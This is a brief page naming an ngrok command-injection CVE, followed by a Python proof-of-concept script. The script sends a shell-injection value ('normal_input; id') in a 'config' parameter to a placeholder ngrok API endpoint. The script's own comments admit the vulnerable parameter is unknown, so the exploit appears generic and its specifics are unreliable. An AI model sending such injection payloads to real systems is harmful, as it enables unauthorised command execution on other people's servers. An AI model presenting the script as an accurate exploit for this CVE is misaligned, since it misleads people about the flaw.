CVE-2025-57282 ngrok命令注入漏洞

# PoC Concept for CVE-2025-57282 # This script demonstrates the command injection vulnerability in ngrok. # An attacker crafts a payload that includes shell metacharacters to execute arbitrary commands. import requests target_url = "http://target-ngrok-server:4040/api/vulnerable/endpoint" # The payload attempts to execute 'id' command using a semicolon separator # Actual vulnerable parameter may vary based on the specific ngrok implementation context malicious_payload = "normal_input; id" params = { "config": malicious_payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check server for command execution.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")